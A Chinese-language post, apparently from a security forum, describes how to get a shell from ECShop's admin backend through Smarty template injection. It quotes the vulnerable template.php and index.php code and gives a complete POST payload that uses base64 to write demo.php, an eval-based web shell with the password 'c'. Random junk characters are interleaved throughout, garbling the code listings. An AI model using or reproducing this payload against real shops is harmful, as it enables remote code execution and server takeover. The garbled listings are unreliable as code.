Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
; D0 _5 N+ [% s6 C5 R
- Y% i. x$ S8 s而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
# ]. z$ R8 O/ t- ]# y  U* ^8 t
1 if ($_REQUEST['act'] == 'update_library')

% j0 m5 m& T$ }2 X2   

! |( I# V5 n! b, M. z3 {
# ?% A9 }2 G' D8 S6 h" _# X0 W
4     check_authz_json('library_manage');

+ m6 y1 N) x8 A: l2 Y' |5   
7 q/ c! A, E3 i6 ]9 o
  z5 Z9 w8 v1 B# _6     $html = stripslashes(json_str_iconv($_POST['html']));

1 D1 s' F. S  x% R5 h7   
6 d* J, R" E; a7 N' Y( q9 E  h3 x' M
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   
. q4 E: P. ^* p3 }" a& [- w* g
7 j4 A# s) H  L0 V* I  G& d+ Z10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

2 }) b' r% h6 \. `! v. \11   
, ^1 [. V4 B) Q+ Y2 d6 L0 e
6 m) |  |$ x9 V( V, C/ m* L- L12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
( r) O# a0 a* Y+ V0 K) b4 t
+ l! L5 ~4 Z$ A  U8 W& Z# n13   

14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {
! \' u/ D9 ]7 {) {
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

' u" j8 ~/ H0 W, z9 h17         make_json_result('', $_LANG['update_lib_success']);
  z0 w- `" m2 D+ ^+ b  |
. k* b& ~- {) ^$ L# d: |9 [. z18     }
7 f6 o9 ]$ L# W( P
0 a- w: p2 p8 b0 `2 N; p19     else
/ e, z( A9 i+ B- ^' h4 R! f
6 \# K, |" Y3 ?) [6 h5 ?2 ]/ [20     {
2 [: E" Z, ^9 h4 k+ X, ?: l
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

# {6 w' D( @* d- ^22     }

# X2 Q1 @& Q# _* @) V- |23 }

3 k% ?; Y, Q' c1 j# k$ m2 X' z( z那么找个比较方便调用了模板的文件
index.php
0 d5 d! R0 |3 ]4 I
+ \9 M3 l, w# v* g3 {# s1 if ($act == 'cat_rec')

2   
; N2 J3 ^- F& d8 T8 R& B& L
$ V5 ~& y$ ~# q. n% b3 {

5 @) z! f3 x0 P4 r$ Y; p* t4   
6 u$ p+ w, H5 ?2 F- e
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

- J2 W. ]4 c. r% u, D+ w' o8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   
2 O, x% M7 }4 p$ i! T2 ~
& S/ i: V( P3 v- e9 J5 ~, H' v2 t11     include_once('includes/cls_json.php');
9 l, ?7 w% a/ f- J, D( Z
12   
' l& Z. W8 l7 E! O9 ~+ q5 V
! o* Z4 R" c1 G5 D13     $json = new JSON;
( o2 ?9 i, l# z3 [# ?/ x) r
14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
5 Q/ S4 e* W: |; ]
& z. q# q8 L2 X4 U2 W4 d: D16   
  |; l4 |) T: z9 ^  M6 x
* u. X! d1 {0 C; P% {17     $children = get_children($cat_id);
7 a% v6 P% u5 B- _7 I
( W" Y) ?# \3 [! R18   

" ~4 V* ?! \9 d1 c19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

7 l& v% K: w$ p' o: m$ m20   

21     $smarty->assign('cat_rec_sign', 1);

22   
$ _0 O0 s. }/ ?
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
% m+ g; P4 O5 `% X0 X% i
, d- g+ J) Y- a3 H* V8 a24   
8 N5 K" Z5 v7 e
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   

27         echo $rec_array[$rec_type];

28   
  T6 o0 p, a" i8 g% i- [  Q
) N) S( T; _9 x0 g9 ^29     die($json->encode($result));
6 q/ _" Z. I' M
30   

( o/ F! o* _$ O4 _+ H# j5 }31 }

6 n: i" R" l1 I那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
! d, f* C4 t# ~% A
; V5 y1 b$ X# L" T, |5 l​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
; @* F. {, J1 T, X
然后访问http://localhost/ec/index.php?act=cat_rec
1 q$ `2 {$ R1 U. g; Z
6 g4 T' x. x& c- cshel地址：http://localhost/ec/demo.php
密码c

) w8 @/ l/ Y/ A4 ?" Z/ {